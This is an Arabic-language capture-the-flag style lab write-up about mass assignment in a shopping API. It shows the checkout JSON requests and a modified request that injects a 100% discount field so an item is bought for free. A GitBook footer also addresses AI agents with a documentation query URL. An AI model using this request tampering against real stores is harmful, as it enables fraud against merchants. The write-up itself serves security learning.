> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/web/api-testing/mass-assignment-exploitation.md).

# استغلال الإسناد الجماعي

### استغلال ثغرة التعيين الجماعي

**هدف المختبر**/ استغلال ثغرة التعيين الجماعي لشراء المنتج Lightweight "l33t" Leather Jacket دون أموال كافية. / بيانات الاعتماد المقدمة: **wiener / peter**

#### ملاحظة السلوك الطبيعي

عند إضافة منتج إلى السلة ومحاولة تأكيد الطلب، يتم إرسال طلب إلى واجهة API:

<figure><img src="/files/0fab3de950b58a2bda64ab812f414e8651bfb003" alt=""><figcaption></figcaption></figure>

**طلب POST إلى `/api/checkout`**/ يحتوي نص الطلب فقط على المنتجات المحددة:

```json
{
    "chosen_products":[
        {
            "product_id":"1",
            "quantity":1
        }
    ]
}
```

ثم، عند التحقق من حالة السلة، يتم إرسال استعلام GET إلى نقطة النهاية نفسها.

**طلب GET إلى `/api/checkout`**/ تكون الاستجابة التي يعيدها الخادم بتنسيق JSON وتتضمن حقولًا إضافية:

```json
{
   "chosen_discount":{
      "percentage":0
   },
   "chosen_products":[
      {
         "product_id":"1",
         "name":"جاكيت جلدي خفيف الوزن /\"l33t/\" Leather Jacket",
         "quantity":1,
         "item_price":133700
      }
   ]
}
```

الـ `chosen_discount.percentage` يمكن رؤية الحقل، الذي لا يتم التحكم فيه من جانب العميل أثناء الإرسال الأولي.

<figure><img src="/files/9702ded8d692c58718cca30e66c5ada0e16e6967" alt=""><figcaption></figcaption></figure>

#### استغلال الثغرة

عند اعتراض **طلب POST `/api/checkout`** الطلب، يمكن إضافة `chosen_discount` الحقل يدويًا إلى نص الطلب.

**الطلب المعدّل**:

```json
{
   "chosen_discount":{
      "percentage":100
   },
   "chosen_products":[
      {
         "product_id":"1",
         "quantity":1
      }
   ]
}
```

يقبل الخادم هذا التغيير عند إرجاع الاستعلام.

<figure><img src="/files/3988129909bf398e37a8efb4e2840205466f6000" alt=""><figcaption></figcaption></figure>

#### النتيجة

يطبق الخادم خصمًا قدره **100%** على المنتج، مما يجعل من الممكن إتمام الشراء دون تكلفة. / يتم التحقق من الأمر بنجاح، كما يتضح من إعادة التوجيه إلى:

```bash
/cart/order-confirmation?order-confirmed=true
```

<figure><img src="/files/08be13fd5328fc570d0547326e271bde49d1a22e" alt=""><figcaption></figcaption></figure>

#### الخلاصة

تعتمد هذه الثغرة على **التعيين الجماعي**، حيث تقبل واجهة API الحقول الحساسة المقدمة من العميل وتعالجها دون تحقق مناسب. ومن خلال حقن معلمة غير مخطط لها (`chosen_discount`)، يمكن تعديل منطق الأعمال وتجاوز ضوابط الأسعار.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/web/api-testing/mass-assignment-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
